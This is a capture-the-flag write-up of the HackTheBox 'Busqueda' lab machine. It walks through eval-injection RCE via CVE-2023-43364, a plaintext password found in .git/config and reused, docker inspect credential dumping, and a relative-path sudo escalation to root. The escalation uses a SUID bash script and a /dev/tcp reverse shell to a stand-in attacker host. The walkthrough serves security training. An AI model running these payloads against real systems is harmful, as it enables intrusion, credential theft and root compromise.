Busqueda — HackTheBox Writeup
Overview
| Field | Detail |
|---|---|
| Name | Busqueda |
| OS | Linux |
| Difficulty | Easy |
| Platform | HackTheBox |
| Topics | CVE-2023-43364, Searchor 2.4.0, Python eval() |
Attack Path
1. Services Scan
A standard Nmap service scan reveals two open ports: 22 (SSH) and 80 (HTTP).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Note: The redirect to
searcher.htbin the Nmap output reveals the virtual hostname. Add it to/etc/hosts.
echo "TARGET_IP searcher.htb" | sudo tee -a /etc/hosts
2. Attacking HTTP (Port 80)
Scope: *.searcher.htb
Banner Grabbing
The page footer discloses two key technologies:
- Flask (Python web framework)
- Searchor 2.4.0
Searching for Searchor 2.4.0 CVE immediately surfaces CVE-2023-43364 — a Remote Code Execution vulnerability caused by unsanitized input passed directly to Python’s eval().
3. Foothold — Shell as svc
Using a public PoC for CVE-2023-43364, a reverse shell is obtained as the svc user.
# Public PoC usage (example)
python3 poc.py http://searcher.htb ATTACKER_IP ATTACKER_PORT
Once connected, stabilize the shell immediately:
# Upgrade to a fully interactive TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
4. Credential Hunting — .git/config
Inspecting the web application directory reveals a Git repository with a telling config file:
cat /var/www/app/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
Findings:
- New subdomain:
gitea.searcher.htb - Credentials in URL:
cody:passxxx
Add the new subdomain to /etc/hosts:
echo "TARGET_IP gitea.searcher.htb" | sudo tee -a /etc/hosts
5. Credential Validation
Verify the credentials work for SSH using netexec:
nxc ssh searcher.htb -u svc -p 'passxxx'
✅ Valid — the svc account reuses cody’s password.
6. Privilege Escalation — Abusing sudo
Sudo Enumeration
sudo -l
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
The script accepts subcommands: docker-ps, docker-inspect, and full-checkup.
Step 1 — Extract Credentials via docker inspect
The target host runs a Gitea Docker container. docker inspect can dump its full configuration, including environment variables with hardcoded credentials:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
Parse the JSON output for credentials, then log into gitea.searcher.htb as administrator.
Step 2 — Source Code Review
The Gitea repository (accessible as administrator) contains the source of system-checkup.py. The critical flaw:
# Vulnerable snippet inside system-checkup.py
elif action == 'full-checkup':
os.system('./full-checkup.sh') # ← relative path, not absolute
Because the script calls ./full-checkup.sh (a relative path) and runs as root via sudo, any full-checkup.sh in the current working directory at invocation time will be executed as root.
7. Exploitation — Two Paths to Root
Method 1 — SUID Bash (Recommended ✅)
Create a malicious full-checkup.sh in a writable directory:
cd /tmp
cat > full-checkup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod 4755 /tmp/bash
EOF
chmod +x full-checkup.sh
Run the privileged script from /tmp:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Use the SUID bash to get a root shell:
/tmp/bash -p
whoami # root
Method 2 — Reverse Shell as root
Create a reverse shell payload (use revshells.com to generate):
cd /tmp
cat > full-checkup.sh << 'EOF'
#!/bin/bash
/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
EOF
chmod +x full-checkup.sh
Set up your listener:
nc -lvnp PORT
Then trigger execution:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
💥 Root shell received on the listener.
Attack Chain Summary
| Stage | Technique | Result |
|---|---|---|
| Initial Access | CVE-2023-43364 (eval injection) | Shell as svc |
| Cred Discovery | .git/config plaintext password |
cody:passxxx |
| Lateral Movement | SSH credential reuse | Confirmed svc access |
| Privesc Recon | docker inspect via sudo script |
administrator on Gitea |
| Privesc | Path injection ./full-checkup.sh |
Root shell |
Key Takeaways
- Always inspect
.git/directories in web app roots — they frequently contain credentials in remote URLs. - Relative paths in privileged scripts (
./script.shvs/absolute/path/script.sh) are a critical misconfiguration and a classic LPE vector. - Docker inspect is an underrated data exfiltration vector when
dockerCLI access (direct or indirect) is available. - CVE-2023-43364 serves as a reminder that
eval()on user input is never safe, regardless of language.